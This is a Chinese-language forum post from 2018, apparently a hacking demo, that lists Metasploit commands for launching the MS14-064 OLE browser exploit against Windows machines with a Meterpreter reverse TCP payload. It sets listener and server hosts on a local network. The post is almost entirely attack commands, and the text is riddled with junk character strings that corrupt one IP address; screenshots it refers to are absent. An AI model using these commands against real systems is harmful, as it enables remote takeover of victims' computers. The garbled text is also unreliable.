6 R" v0 p! C/ z7 A+ J1 @; {5 z8 [ 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示- P# {4 f! D- H5 P5 P
s1 [0 D+ w1 d) b7 V2 q5 H2 {
7 {/ X& U+ A7 H- Q
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
" G3 k L5 B3 F! q' e
3 _& @+ a" i# o+ y8 ~& w4 [% i9 q' x: d
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp
0 Y' O- k0 @+ @4 B6 N' s6 Q
& P* I3 n7 |* h% F: K; @" c( H! F- r! ?; |9 l4 Y6 `1 z
set AllowPowershellPrompt true# Y# ~& K; X$ M, c% Q% \6 |
5 [3 B7 X5 K* h. V5 I5 ?' F' ~. z
. E4 s/ { k. q: p
Set LHOST 192.168.0.1098 d$ O! P% Y4 J
* b w8 d) k* a: [2 k( N! e
7 s; d L. b1 z# z! r X, O set SRVHOST 192.168.0.109
. R. k8 q" y, [
( b* Q* b0 o* Z- p. u4 z; O$ F
. e7 a4 G* g* \6 \ l+ ~
Set uripath share
$ C8 u( `# f2 R5 W) c
7 c" E0 N- M) T+ m0 y: _1 @# x
0 @0 O. J: S3 m6 q, t Set srvport 80
* U# i+ N/ q9 C+ W$ z$ X2 i( X8 x
6 D5 k0 i' F% S: s) b: r! o7 u/ I" f5 [6 a3 @
6 N5 Z% ?# g3 Y% f
3 H1 O3 W( T3 Y0 T$ T
2 J& I; M0 Z( b f, D9 r ! \. U" y0 R; X; S% P
% @' T1 `* Z( e5 W' F! T; V
6 ]0 S j& n( l$ _2 L/ g+ h! ~. ~
! P" H# |' [& T' Q/ Y+ c) X% x
7 I" K! C0 R" C! g* u" }/ \' F' E" q$ r0 J
" B" Z1 @' B8 F, X' {& z
& u5 Z8 d9 p. ?$ E# [7 q' u
0 B: i9 e. q$ ~* P
& M" Y5 B, R: N" b, I
/ O8 X0 ?; w: d- `6 N
3 I! w) |2 U0 j# v' ]2 R. ] 下面我们来访问本地地址如图：9 v8 B( ^' c, U# {% \: i! e, \; e3 r4 r
F8 C& Z( q8 L+ L0 |/ ^
: f7 |7 B- C! K+ K! I
& _& F2 ~( f$ ]8 E4 H
2 c0 f( B& V- v+ W
3 `: V& @% _' D. H0 Y6 Y( `0 q
! ]& F E7 a9 F* A( ^% i
: J I' l6 M/ V% `: {& T8 P
4 s1 y1 L7 y3 {% D6 j 
1 x" l9 @& p# B, N
发表于 2018-10-20 20:20:35
收藏
支持
反对